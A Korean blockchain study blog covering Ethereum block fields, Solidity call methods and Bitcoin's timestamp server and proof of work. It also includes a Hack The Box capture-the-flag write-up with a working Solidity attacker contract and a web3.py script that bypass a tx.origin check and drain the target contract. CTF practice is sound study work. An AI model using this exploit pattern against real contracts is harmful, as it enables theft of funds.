반응형

블록은 이전블록의 해시(prevHash라고 부르도록 하겠다.)와 트랜잭션의 묶음이라고 생각할 수 있다. 해시는 블록의 데이터를 통해 계산되기 때문에 체인의 형태로 구성될 수 있다. 만약, 블록이 생성된 이후에 블록의 데이터를 변경하게 되면, 해당 블록의 블록해시(block hash)가 바뀌고, 이는 이후 생성된 다른 블록들에 영향을 주어 모든 검증자들이 알아차릴 수 있기 때문에, 다음 블록이 모두 무효화되어 임의 변조를 막을 수 있다.

네트워크의 모든 참가자들이 동기화된(Syncronized) 상태(State)를 유지하고, 모든 트랜잭션에 동의를 하기 쉽게 하기 위해 다수의 트랜잭션들을 한 개의 블록으로 묶어서 Commit, agree, Syncronize를 한 번에 처리한다.

출처:  https://takenobu-hs.github.io/downloads/ethereum_evm_illustrated.pdf

 

모든 블록들이 적절하게 검증을 받을 수 있도록, 네트워크는 참여자들에게 검증을 할 수 있는 충분한 시간을 부여한다. 트랜잭션은 초당 수십~수백개씩 발생할 수 있지만, 블록은 12초에 한 번 이더리움에서 생성되고 commite된다.

즉, 블록이 없다면, 모든 validator(트랜잭션(혹은 블록)을 검증하는 객체)는 매 초 모든 트랜잭션을 검증해야하며, 네트워크 상태에 따라 트랜잭션이 누락되는 경우에도 이를 검증하고, 블록을 네트워크에 추가해야하기 때문에, 블록을 사용할 때에 비해 Fork의 수가 수없이 많아지게 될 것이다.

(이정도면 블록이 있는 이유에 대해 충분히 알아본 것 같다…!)

블록의 작동 방식

transaction history를 보존하기 위해 블록은 상위 블록에 대한 참조를 가지고있어야 하며(prevHash에 대한 정보가 기록되어야 함), 블록 내에 있는 트랜잭션 또한 엄밀한 과정을 거쳐 블록에 정렬된다.

→ 추후에 더 알아볼 예정

PoS시스템에서, 네트워크에서 무작위로 선택된 검증자(PoS에서는, Proposer라고 부른다.)가 블록을 빌드하면, 이를 전체 네트워크에 Broadcast하게 되고, 합의의 과정 이후에 모든 노드는 이 블록을 블록체인의 끝에 추가하고 새로운 Proposer가 선출되어 다음 블록이 생성되는 과정을 통해 블록 추가해 대한 commitment와 consensus 프로세스를 명시하고 있다.

블록의 구조

slot 블록이 속한 슬롯

proposer_index Proposer의 ID
parent_root prevHash
state_root state root hash
body 블록 데이터를 담고있는 객체 (바로 아래에서 설명)

Body

randao_reveal 다음 block의 Proposer를 선택하기 위한 값(RANDAO seed)

eth1_data deposit contract에 대한 정보
graffiti 블록 태그를 위한 임의의 데이터
proposer_slashings slash당할 validator의 리스트
attester_slashings slash당할 attestor의 리스트
attestations 이 블록에 대한 attestation 리스트 (바로 아래에서 설명)
deposits list of new deposits to the deposit contract
voluntary_exits 네트워크를 떠난 validator 리스트
sync_aggregate light client에게 serve하는 validator subset
execution_payload execution client에서부터 넘어온 정보(트랜잭션 데이터 등) (아래에서 설명)

Attestations

→ list of attestations

aggregation_bits 어느 validator가 이 attesttation에 참여했는지에 대한 목록

data a container with multiple subfields (아래에서 설명)
signature 모든 attester들의 aggregate signature
  • data (in attestation)slot attestation이 실행된 slot
    index validator의 ID
    beacon_block_root 이 object를 포함하는 비콘블록의 루트해시
    source the last justified checkpoint
    target the latest epoch boundary block

Execution Payload header

parent_hash parent block의 hash

fee_recipient 트랜잭션 수수료를 받는 주소
state_root 이 블록으로 인한 state 변화를 적용한 global state의 root hash
receipts_root tx_receipt trie의 root hash
logs_bloom 이벤트로그를 포함하는 데이터 구조
prev_randao random validator selection에 사용된 value (RANDAO seed)
block_number 블록 번호
gas_limit 이 블록에 allow된 최대 gas
gas_used 이 블록에서 사용된 실제 가스
timestamp block time
extra_data arbitrary additional data as raw bytes
base_fee_per_gas base fee value
block_hash Hash of execution block
transactions_root 트랜잭션들의 root hash
withdrawal_root withdrawal 데이터의 root hash

Execution payload

parent_hash parent block의 hash

fee_recipient 트랜잭션 수수료를 받는 주소
state_root 이 블록으로 인한 state 변화를 적용한 global state의 root hash
receipts_root tx_receipt trie의 root hash
logs_bloom 이벤트로그를 포함하는 데이터 구조
prev_randao random validator selection에 사용된 value (RANDAO seed)
block_number 블록 번호
gas_limit 이 블록에 allow된 최대 gas
gas_used 이 블록에서 사용된 실제 가스
timestamp block time
extra_data arbitrary additional data as raw bytes
base_fee_per_gas base fee value
block_hash Hash of execution block
transactions 실행될 트랜잭션들의 리스트
withdrawals withdrawal 객체의 리스트
  • withdrawalsaddress withdraw한 객체의 주소
    amount withdraw한 ETH총량
    index withdrawal index value
    validatorIndex validator index value
  • 스테이킹된 이더를 인출하는것과 관련된 데이터 필드

Blocktime

블록타임(Blocktime)은 블록을 나누는 시간 단위. 이더리움에서는 12초 단위로 시간이 쪼개지며, 이를 slot(슬롯)이라는 시간 단위로 사용한다. 각 slot에서, 랜덤한 프로세스를 거쳐(RANDAO) single validator가 선출되어 블록을 propose한다. 모든 validator가 온라인 상태이고 문제없이 작동한다고 가정했을 때의 blocktime이 12초가 된다. 그러나, 종종 validator가 오프라인상태라면, 해당 검증자의 슬롯은 비워질 수 있다.

Blocksize

블록은 블록 사이즈에 의해 나눠지기도 한다. (Blocktime에서는 한 블록이 몇 초에 한 번 생성되는지를 이야기했다면, 이 말은 한 블록의 사이즈가 얼마나 되는냐는 말이다.) 각 블록의 일반적인 크기는 1500만 gas이며, 네트워크 상태에 따라 증가, 감소가 가능하여 최대 3000만 gas까지 늘어날 수 있다.

Blocksize가 늘어나는 매커니즘

블록의 크기는 한번에 확 증가하는 것이 아닌, 점진적으로 증가/감소하는 방식을 가지고 있다. 그 증가/감소 비율을 최대 $\frac{1}{1024}$의 비율만큼 늘어날 수 있는 것인데, 예를 들어 현재 블록의 크기가 1500만 gas라면, 다음 블록의 최대 크기는 $15,000,000 + (15,000,000/1024==14,648)=15,014,648$ 만큼의 크기를 가질 수 있게 된다는 말이며, 이러한 블록 크기 증가가 여러번 반복되어 최대 30,000,000 gas 크기까지 도달할 수 있다는 말이다.

결과적으로, validator는 합의를 통해 블록의 gas limit을 변경할 수 있으며, 블록의 모든 트랜잭션의 gas 소비량이 블록의 gas limit보다 작을 수 있도록 이를 조절하여야 한다. 블록의 사이즈가 임의대로 커질 수 있다면, 성능이 떨어지는 Full node는 공간 및 속도 요구사항을 충족시키지 못하여 네트워크의 속도를 따라잡을 수 없을 것이다. 블록이 클수록 다음 슬롯에 맞춰 처리하는 데 필요한 컴퓨팅 성능을 더 많이 요구하기 떄문에, 이는 적절히 조절되어야 할 것이다.

반응형
반응형

web3 생태계에서 다른 컨트랙트의 함수를 호출하는 과정에서 우리는 어떨 때는 직접 호출을 하는 경우도 있고, 저수준 호출을 하는 경우도 있다. 

A라는 컨트랙트에 있는 "func1(uint _number)" 함수를 호출한다고 가정해보자.

그러면 우리는, 두 가지 호출 방식이 있을 것이다. 

 

1. A.func1(123) - 직접호출 방식

2. A.call{}(abi.encodeWithSignature("func1(uint)")) - 저수준 호출 방식

 

이 두 경우의 차이점, 그리고 호출 실패 시 어떻게 핸들링하는지를 알아보고자 한다.


1. 직접호출 방식

직접 호출 방식은 가장 기본적인 방법으로, 호출하려는 함수의 이름과 인수를 사용하여 함수를 호출한다. 이 방식은 Solidity 컴파일러에 의해 함수의 존재와 시그니처가 검증되므로 타입 안정성을 제공한다. 

호출 방법은 위에서도 썼듯,

A.func1(123);

이다. 

이 방식의 장점이라고 한다면 가독성 및 안정성이라고 할 수 있을 것이다. 컴파일타임에 함수의 존재를 확인하고, 인자타입이 맞지 않을 경우 컴파일 에러를 발생시킨다. 

또한, 리턴 값을 받는 것도 굉장히 직관적이라고 할 수 있다. 

만약 "func1"함수가 uint형을 return 한다면

uint res = A.func1(123);

으로 리턴을 받을 수 있다.

함수 호출 실패 시

함수가 존재하지 않거나, 인자가 잘못되거나 했을 경우, 컴파일 시점에 에러를 발생시키지만, 컴파일 시점에 문제가 없는 modifier, revert, require 등으로 인해 함수 호출이 실패했을 경우, 전체 트랜잭션이 실패하고 롤백되게 된다.

2. 저수준 호출

저수준의 'call'함수를 사용하게 되면 더욱 유연하지만 복잡하고 에러가 발생하기 쉬운 방식의 호출이 된다.

'call'은 ABI 인코딩을 통해 어떠한 함수든 호출할 수 있고, 이 때 함수의 존재여부나 시그니처 등은 컴파일이 아닌, 런타임에 검증된다.

(bool success, bytes memory data) = A.call{value: msg.value, gas: 5000}(abi.encodeWithSignature("func1(uint)", 123));

이런식으로 사용을 하게 된다.

success 의 경우, 함수 호출이 성공적이었는지 여부를 나타내며,

data 의 경우, 호출된 함수로부터 반환된 return 값이다.

이렇게 반환된 return값은, abi.decode() 메서드를 통해 적절하게 처리할 수 있다.

(bool success, bytes memory data) = A.call(abi.encodeWithSignature("func1(uint)", 123));
require(success, "Call failed");

uint result;
if (data.length > 0) {  // 함수에서 데이터가 실제로 반환되었는지 확인
    result = abi.decode(data, (uint));
}

이런식으로 사용할 수 있다.

함수 호출 실패 시

저수준 함수 호출에는, 에러가 발생한다고 해도 롤백이 되지 않는다. 대신, success플래그를 통해 성공 여부를 반환하게 된다. 

(bool success, bytes memory data) = A.call{gas: 5000}(abi.encodeWithSignature("func1(uint)", 123));
if (!success) {
    // 에러 핸들링 로직
    revert("Function call failed.");
}

그래서, 함수 호출에 실패했을 경우, 위와 같이 직접 핸들링을 해주어야 한다. 다소 불편할 수 있지만, 유연성을 제공한다는 점에서 장점이 있다고 할 수 있다.

반응형
반응형

해외 유명 워게임 사이트인 Hack The Box의 Blockchain 보안 워게임을 풀어보았다.

링크: https://app.hackthebox.com/challenges/Distract%2520and%2520Destroy

 

Hack The Box

 

app.hackthebox.com

1. 문제 설명이다. 그렇다고 한다.

 

After defeating her first monster, Alex stood frozen, staring up at another massive, hulking creature that loomed over her. She knew that this was a fight she couldn't win on her own. She turned to her guildmates, trying to come up with a plan. "We need to distract it," Alex said. "If we can get it off balance, we might be able to take it down." Her guildmates nodded, their eyes narrowed in determination. They quickly came up with a plan to lure the monster away from their position, using a combination of noise and movement to distract it. As they put their plan into action, Alex drew her sword and waited for her chance.

2. 문제 소스코드를 보자

1. setup.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Creature} from "./Creature.sol";

contract Setup {
    Creature public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether);
        TARGET = new Creature{value: 10}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

isSolved() 함수의 return값이 true가 되면 문제가 풀린다.

이를 위해서는 address(TARGET)의 잔고를 0으로 만들어줘야 한다.

하지만, constructor에서도 볼 수 있듯, TARGET의 잔고는 현재 "10"이다.

2. Creature.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Creature {
    uint256 public lifePoints;
    address public aggro;

    constructor() payable {
        lifePoints = 1000;
    }

    function attack(uint256 _damage) external {
        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;
        } else {
            lifePoints -= 0;
        }
    }

    function loot() external {
        require(lifePoints == 0, "Creature is still alive!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }
}

TARGET contract이다. 

최종적으로 loot 함수를 실행시키면 exploit이 가능할 것으로 보인다.

한번 step을 밟아보자.

1. attack(damage)를 통해 lifePoints를 깎아야 loot()함수 실행이 가능하다. 

2. attack()함수 내부를 보자.

 

attack(uint256 _damage)

결국 실행시켜야 하는 것은 attack(1000)일 것이다. 

하지만, 이를 실행하려면

        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 부분까지 접근해야 할 것이고,

그 전의 if문도 통과해야 한다.

 

통과해야 하는 조건들을 살펴보면,

        if (aggro == address(0)) {
            aggro = msg.sender;
        }
        if (_isOffBalance() && aggro != msg.sender) {
            lifePoints -= _damage;

이 두 가지 부분이다.

 

첫 번째에는, address형인 aggro 변수가 초기화되어있지 않다면, msg.sender를 aggro에 할당하는 것이고,

두 번째 부분은, msg.sender와 aggro가 같지 않으면서, _isOffBalance() 값이 true를 반환해야 한다.

_isOffBalance()함수는

    function _isOffBalance() private view returns (bool) {
        return tx.origin != msg.sender;
    }

인 것을 보면, 그냥 컨트랙트 만들어서 호출하라는 말이다.

그럼, 공격 시나리오를 구성해보자. 

 

1. _isOffBalance()에서 true를 반환하도록 해야 하니, 저 부분의 조건문은 EOA에서 바로 호출하는 것이 아닌, CA에서 호출하도록 해야 한다.

2. 그러면서 또, aggro != msg.sender가 되어야 하므로, aggro변수에 CA의 주소가 들어있으면 안된다. 

그렇다면, 이렇게 하면 되겠다.

 

1. EOA에서 attack()함수를 호출

2. CA에서 attack(1000)을 호출

 

이대로 코드를 작성해보자. 일단 2번의 CA먼저.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface creature {
	function attack(uint256 _damage) external;
}

contract exploit {
	creature public target;
	constructor(address _target) {
		target = creature(_target);
		target.attack(1000);
	}
}

이 코드를 두 번째 공격에서 실행시켜주면 될 것이다.

그럼 1, 2번 과정을 모두 처리해주는 코드를 python으로 작성해주자.

from web3 import Web3
import requests
import json

url = 'http://94.237.54.214:47456'
w3 = Web3(Web3.HTTPProvider(url + "/rpc"))
assert w3.is_connected()

key = json.loads(requests.get(url + "/connection_info").content)
prikey = key['PrivateKey']
user_addr = key['Address']
target_addr = key['TargetAddress']

f = open("creature_abi", "r"); t_abi = f.read(); f.close()
target_cont = w3.eth.contract(address=target_addr, abi=t_abi)

nonce = w3.eth.get_transaction_count(user_addr)
tx = target_cont.functions.attack(1000).build_transaction({
	'from': user_addr,
	'nonce': nonce,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'first attack\n {tx_receipt}')

f = open("attack_abi", "r"); a_abi = f.read(); f.close()
f = open("attack_bin", "r"); a_bin = f.read(); f.close()
attack_cont = w3.eth.contract(abi=a_abi, bytecode=a_bin)

tx = attack_cont.constructor(target_addr).build_transaction({
	'from': user_addr,
	'nonce': nonce+1,
	'gas': 2000000,
	'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, prikey)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f'second attack\n {tx_receipt}')

tx = target_cont.functions.loot().transact()
print(w3.eth.wait_for_transaction_receipt(tx))
assert target_cont.functions.lifePoints().call() == 0

이렇게 하고 실행해주면 공격에 성공한다.

아마 web3py를 이용해 익스플로잇 하는 코드는 많이 찾아보기 힘들 것이다. 

그런데 .. 그냥 파이썬이 편해서 이렇게 하는것이기도 하다.

 

일단 very easy에 속한 난이도이다보니 payload 구성이 어렵지 않았던 것 같다.

반응형
반응형

지난 글에서 비트코인 백서(White Paper)를 읽어보며, 비트코인의 이중지불 문제가 무엇이고, 왜 발생했는지 등에 대해 알아보았다.

(아래 링크 참고)

https://nullorm.tistory.com/38

 

[Bitcoin] 블록체인 기술공부 / 비트코인 백서 공부 (1. 초록) / 이중지불 문제

블록체인 공부를 시작했는데, 무엇을 먼저 시작해야할지 모르겠고, 무작정 기술로만 들어가면 중간에 흥미를 잃을 듯 하여 코인들의 목적, 원리 등을 직접 까(open)보면서 공부해보려고 한다. 공

nullorm.tistory.com

이번 글에서는 이중지불 문제를 비트코인에서 어떻게 해결했는지 살펴보도록 하자.

1. 이중지불이 뭘까?

짚어보지도 않고 넘어가는건 좀 그래서 일단 간단하게 짚고만 넘어가겠다.

 

이중지불(double spending)은 말 그대로 하나의 디지털 통화 단위를 두 번 이상 지출하는 행위를 말한다.

정보 공간의 특성으로 인해 물리적 공간과 비교할 때 디지털 토큰 또는 자산은 무한히 복제 또는 위조가 가능할 수 있다. 

(예시1: 동일한 주식, etf 등이 ctrl+c/v 된다고 간단하게 생각하면 된다.) 

(예시2: A가 B, C에게 1달러를 보내고 싶은데, 1달러라고 보증되어있는 파일을 B와 C에게 모두 보내버리면, 돈이 복사되는 것이다.)

이는 P2P 방식의 거래에 있어 근본적인 골칫거리였다. (돈이 무한 복사가 되면 아무래도..) 

 

따라서 기존의 시스템에서는 은행이라는 중개기권을 두고, "신뢰받는" 중개기관이 보관하고 있는 기존 데이터를 기반으로 개인이 데이터를 임의로 복사할 수 없게 만들었다.

 

2. 비트코인 백서: 타임스탬프 서버(Timestamp Server)

사토시는 중개기관이 없는 전자화폐 거래 시스템에 있어 가장 큰 문제였던 이중지불 문제를 타임스탬프 서버라는 간단한 개념을 통해 해결하였다.

우리가 제안하는 솔루션은 타임스탬프 서버로 시작한다. 타임스탬프 서버는 타임스탬프가 찍힌 항목 블록의 해 시값을 가져가고 그 값을 신문이나 유즈넷(Usenet) 게시물처럼 널리 배포하는 식으로 작동한다.
이 타임스탬프는 그 데이터가 해시 처리에 들어가기 위해 명백히 그 시점에 존재했음을 증명한다.

1. 타임스탬프란?

그대로 직역하면 시간 도장 이라는 의미인데 말 그대로 특정한 사건 시점에 도장을 찍는다고 보면 될 것 같다. 사건이 발생해서 컴퓨터에 기록된 시간을 뜻하는데, 주로 어떤 사건이 발생한 시간을 비교하거나 두 작업 사이에 어느정도의 시간이 경과되었는지를 계산하기 위해 사용된다.

그런데, 이렇게 '시간'이라는 개념만 가지고 비트코인의 타임스탬프를 정의하기는 쉽지 않다. p2p(person-to-person)거래의 특성상, 타임스탬프가 찍힌다고 하면 각 개인의 컴퓨터 시간 간의 차이가 있을 수 있기 때문에 이것에만 의존한다면 수많은 문제가 발생하게 될 것이다. 따라서, 비트코인에서의 타임스탬프는 '시간'이 아닌, '순서'의 개념으로 봐야할 듯 하다.즉, 이렇다고 볼 수 있겠다.

 

이러한 타임스탬프가 어떻게 이중지불 문제를 해결한 것일까?

위의 예시 중 하나를 다시 가져와보자. 

A가 B, C에게 1달러를 보내고 싶은데, 1달러라고 보증되어있는 파일을 B와 C에게 모두 보내버리면 이중지불이 가능해진다.

이 문제를 타임스탬프의 개념을 가지고 해결해보자. 

A가 B와 C에게 동시에 1달러를 송금했는데, 트랜잭션 처리 순서에 따라 둘중 어느 데이터이든지 간에 먼저 처리된 트랜잭션이 먼저 체인에 올라갔을 것이다. 아까도 말했듯, 이 타임스탬프는 시간이 아니라 순서를 나타낸다고 하였다.

따라서, B에게 송금이 먼저 이루어졌을 때, C에게도 송금을 하려는 시도를 하게 된다면, 이전 블록에 A-B간 트랜잭션이 올라가있을 것이기 때문에, 해당 트랜잭션은 체인의 맨 끝에 추가되지 않고, 버려지게 되는 것이다.

 

네트워크의 입장에서 말해보자면, 네트워크는 두 트랜잭션 중 어느 것이 먼저 블록에 포함되었는지를 확인할 수 있으며, 첫 번째 트랜잭션(A-B)가 블록체인에 기록되면, 그 이후에 시도되는 동일 자산에 대한 모든 다른 트랜잭션은 유효하지 않게 된다.

 

이렇게, 어떻게 타임스탬프라는 개념이 비트코인의 이중지불 문제를 해결하게 되었는지 알아보았다. 

그렇다면, 이 타임스탬프 서버가 어떻게 구성되고 만들어지는지 알아보자.

각 타임스탬프는 그 해시 안에 직전 타임스탬프를 포함해 체인을 형성하며, 추가되는 각 타임스탬프가 그 이전 타임스탬프를 강화한다.

 

위의 말을 보면, 타임스탬프가 만들어지는 방식과, 이것이 비트코인 네트워크를 강화하는 것에 대해 이야기하고 있다.

이를 중심주제로 잡고 설명해보겠다. 

 

비트코인백서: https://bitcoin.org/files/bitcoin-paper/bitcoin_ko.pdf

백서에 이렇게 설명되어있어서 한번 가져와보았다.

 

내가 설명하기 편하게 다시 그림을 그려보았다.

위와 같은 구조로 블록체인 타임스탬프가 이루어져있다고 볼 수 있을 것 같다.

1. 구성 방식

비트코인의 블록타임(BLock Time)은 약 10분정도이다. 10분에 한 번씩 새로운 블록이 생성된다는 이야기이다. 그래서 비트코인 네트워크에서는 여러 트랜잭션들을 한데 모아 트랜잭션들을 처리하는데, 위의 그림대로 보자면, 이전블럭(블록1)의 해시값고, 추가하고자 하는 블록(블록2)를 같이 해싱하여 다음 블록(블록2)로 만들어버린다. 이러한 방식으로 계속해서 체인을 이어나가는 것이다. 자, 그런데 이전 블록의 해시를 왜 다음 블록을 구성하는 데 넣는 것일까?

이어서 살펴보도록 하겠다.

2. 어떻게 타임스탬프를 '강화' 한다는 것일까?

다음 블록을 구성하는 데 이전 블록의 해시값을 넣는 이유는 바로, 타임스탬프는 '시간'이 아닌, '순서'를 기록하는 것이기 때문이다. 순서를 기록함으로써 이중지불 문제가 해결되기 때문. 그런데, 이제 또 문제가 발생할 수 있다. 만약, 악의적인 공격자가 이중지불을 하기 위해 이전 트랜잭션의 정보가 들어있는 블록의 정보를 바꿔버린다면? 

그래서 위와 같은 방식을 사용하는 것이기도 하다.

붉게 표시된 블록 정보가 악의적으로 변경된다고 하면, 블록2의 정보는 달라지게 될 것이다. 그런데, 그렇게 된다면 블록2의 해시값은 기존에 존재하던 해시값과 달라지게 될 것이다. 그렇다면, 공격자는 블록2의 값을 변경하기 위해 (4. 작업증명) 에서 다룬 작업증명의 과정을 거쳐 본인의 data2를 블록2에 삽입해야 하고, 그렇게 되면 이후에 있는 블록3, 블록4 ... 모든 블록의 데이터를 다시 검증하고 체인에 추가하는 과정을 거쳐야 하는 것이다.

이러한 과정을 성공시키는 것은 불가능에 가깝기 때문에 (실제로 이러한 방법으로 데이터를 위조한 사례가 현재까지 0건이다.) 타임스탬프는 거의 완벽한 보안성을 띠고있다고 할 수 있으며, 이런 암호학적 방법이 기존의 은행을 신뢰하는 것보다 더욱 강력하다는 것이 사토시의 의견이다.

 

작업 증명에 대한 내용은 이미 다룬 적이 있기 때문에 그 내용이 궁금하다면 들어가서 읽어보는 것을 추천한다.

 

[Bitcoin] 블록체인 기술공부 / 비트코인 백서 공부 (4. 작업증명(PoW))

지난번 포스팅에서 다뤘었다. 대체 PoW가 무엇인가!!! 작업증명이 그래서 뭔데!!! 자. 지금부터 한번 시작해보도록 하자. 라는 말을 쓰는 지금 시점에서, 나는 작업증명이 뭔지 모른다. 따라서, 이

nullorm.tistory.com

반응형
반응형

지난번 포스팅에서 다뤘었다. 

대체 PoW가 무엇인가!!! 작업증명이 그래서 뭔데!!!

자. 지금부터 한번 시작해보도록 하자. 라는 말을 쓰는 지금 시점에서, 나는 작업증명이 뭔지 모른다.

따라서, 이 글을 읽는 사람들에게 누구보다 모르는 사람의 관점에서 잘 설명할 수 있지 않을까? (라는 희망.)

 

1. 서론

블록체인 네트워크에서 비트코인은 블록체인에 새로운 블록을 추가하는 방식으로 조폐(화폐를 제조) 및 송금을 한다.

작업증명은 이 조폐 및 송금에서 사용되는 트랜잭션(Transaction: 거래)시에 이를 거래하는 방법이다. 

나카모토 사토시의 비트코인 백서에는 이런 말이 있었다(비트코인 백서 서론)

필요한 것은 신뢰 대신 암호학적 증명(cryptographic proof)에 기반해, 거래 의사가 있는 두 당사자가 신뢰받는 제삼 자를 찾지 않고 서로 직접 거래하게 하는 전자 결제 시스템이다.

 

즉, 거래를 중개하는 중개 플랫폼(은행 등)을 신뢰해야만 개인 간의 거래가 가능했던 이전의 방식이 아닌, 암호학적 증명에 기반하겠다는 말이다. 이는 곧, 사람, 시스템을 신뢰하는 데에는 어떻게든 오류가 생길 수 있으니, 절대적인 수학을 믿겠다는 말로 들린다. 

 

2008년 글로벌 금융위기 사태 직후, 금융위기 조사위원회(FCIC)는 525페이지 분량의 보고서에 이런 말이 있다.

"당시의 위기는 인간의 행동과 무대책의 결광지, 천재지변이나 컴퓨터 모델 문제가 아니다. 셰익스피어를 인용하자면 잘못은 저 별들이 아니라 우리에게 있다." 즉, 2009년의 나카모토 사토시는 인간에 의해 만들어진 금융시스템을 신뢰하기보다는, 보다 믿을 수 있는 수학적(암호학적 증명) 방법에 기댔다고 볼 수 있겠다.

 

그렇다면, PoW는 대체 뭘까?

 

 1. PoW(Proof of Work: 작업증명)

비트코인의 전체적인 구조를 살펴보자.

자, 시장이 처음 생기면 일단 어떻게 해야하는가?

1. 화폐를 만든다(찍는다)

2. 화폐를 시장에 공급한다.

3. 시장 구성원들이 화폐와 재화를 거래하며 화폐를 거래한다.

전체적으로 보면 이러한 구조가 될 것이다. 그런데, 각각의 단계를 어떠한 주체가 담당하는지 살펴보자.

 

1. 중앙은행에서 화폐를 발행한다.

2. 은행이 시장에 화폐를 공급한다.

3. 구성원들이 화폐를 거래한다(전자화폐의 경우, 이중지불문제와 보안을 위해 은행의 중개가 필요)

결국, 모든 과정에서 은행은 필수불가결의 요소이다.

하지만, 비트코인은 무엇인가?

바로 은행이 존재하지 않는, 은행을 신뢰하지 않는, 수학을 믿는 전자화폐이다. 이러한 과정들에서, 은행을 대신할 수 있는 요소로 등장하는 것이 바로 PoW, 작업증명이다.

 

작업증명이 비트코인에서 어떠한 기능을 하는지 가볍게 일단 한번 보자.

1. 채굴자는 화폐를 발행하고 이를 시장에 공급한다.(물론 바로 공급을 하지 않을 수 있겠지만.. 이들도 돈을 벌어야지)

2. 구성원들이 화폐를 거래한다.

 

해당 두 과정이 위의 세 과정을 압축했다고 볼 수 있다. 작업증명(PoW)는 이 두 과정 모두에서 작동한다.

 

우선, 조폐(1번)의 과정에서는, 화폐 발행인(채굴자)에게 일(채굴)을 했다는 것을 증명하도록 하여 화폐를 발행한다.

중앙집권화되지 않은 탈중앙화된 블록체인의 조폐 과정에서는 처음 만들어진 알고리즘 이외에는 누가 얼마의 화폐를 받을 지 결정할 수 있는 중앙 권력이 없기 때문에 모든 참여자들이 자동으로 동의할 수 있는 방법이 필요하다.

 

그렇다면, 채굴자는 어떤 문제를, 어떤 해시함수를 계산한다는 것일까? 간단하게 그림으로 한 번 알아보자.

비트코인의 작업증명 방식을 간단하게 그림으로 나타내보았다.

우선, 작업증명은 SHA-256과 같은 해시연산을 거쳐 이루어지는데, 

과정은 이러하다.

Hash(이전 블록의 해시값 || 생성할 블록의 트랜잭션 data || 임의의 Random한 Nonce) < 목표값

을 달성할 경우, 작업증명에 성공했다고 보는 것이다.

이와 관련하여 백서에서는 어떻게 이야기하는지 살펴보자.

우리는 타임스탬프 네트워크용으로 블록의 해시에 주어진 0 비트들을 모두 발견할 때까지 블록 안에 임시값을 증가시키는(incrementing a nonce) 것으로 작업증명을 구현했다.

 

이 말이 위에서 한 말과 같은 말로 받아들이면 될 것이다.

이게 대체 뭔 과정이길래 이정도만으로도 작업증명이 된다는 것일까?

답은 바로 Hash함수의 일방향적 특성에 있다.

 

수학적(암호학적)으로, 해시(Hash)함수는 일방향함수이기 때문에, 이를 역산하는 것이 무차별 대입(Brute Force)이외에는 방법이 없다는 점에 착안하여, 모든 채굴자가 해시함수를 계산해 가장 먼저 계산한 사람이 새로 발행되는 비트코인을 받아가는 구조이다.

 

또한 작업증명(PoW)는, 다수결의 체인의 대표성을 결정하는 문제도 해결한다. 만약, 1 IP당, 1표에 기반한 다수결로 검증을 진행하게 된다면, 한번에 수많은 IP를 할당할 수 있는 누군가(악의적인 공격자)에 의해 해당 네트워크 전체가 장악될 수 있다. 위에서 소개한 다수결은 기본적으로 CPU당 1표이다. 다수결의 결과는 가장 많은 자원이 사용된 작업증명들의 가장 긴 체인이 된다(즉, Hash Rate가 가장 높은 체인이 가장 긴 체인이 된다.) 정직한 노드들에 의해 다수의 CPU파워가 통제된다면, 가장 정직한 체인이 가장 빠르게 늘어나 다른 경쟁 체인들을 압도할 것이다.

 

또한, 과거 블록을 수정하려면 공격자는 해당 과거 블록의 값에 대한 작업증명을 재수행해야하고, ( Hash(해당 블록의 이전 블록 해시 값 + 변경하고자 하는 데이터 + Nonce) 를 다시 해야함.) 또한, 해당 블록 이후의 모든 타임스탬프의 블록에 대하여 모든 연산을 재수행해야 하는 문제가 생긴다. 또한, 이러한 작업을 가장 정직한 노드들의 작업 속도를 따라잡아야 그것이 가장 무결한 노드라는 것을 인정받을 수 있다. 

따라서, 비트코인은 그 구조상 블록의 수가 늘어날수록 블록의 위/변조가능성은 거의 0에 수렴하게 된다는 것을 알 수 있다.

 

또한, 실제로 발생한 문제이기도 하지만, 채굴자들은 자원을 아끼기 위해 기존 CPU의 수만배 파워를 내는 채굴기를 개발해내었다. 이러한 상황에서 채굴의 난이도는 상대적으로 쉬워질 수 밖에 없기 떄문에, 초기 알고리즘은 채굴의 난이도 (위 그림에서는 목표 값)를 시간당 평균 블록 수에 따른 평균 목표값을 조정하여 결정하도록 하였다.

즉, 블록들이 너무 빠르게 생성된다면 채굴 난이도는 높아진다는 것이다(목표값이 낮아진다는 것이다.)

 

3. 마치며...

이렇게 작업증명에 대한 기본적인 개념들을 다루어보았다.

다소 수학적인 내용이 등장할 것이라고 예상했었지만, 해시함수 이외에는(이것도 별 수학적으로 접근하지는 않았지만...) 그런 내용은 없었던 것 같다.

작업증명(Proof of Work) 이외에도 지분증명(Proof of Stake)라는 개념이 존재하는데, 이는 나아아중에 다뤄보도록 하겠다.

 

글 읽어주셔서 감사하옵니다^^

 

반응형

+ Recent posts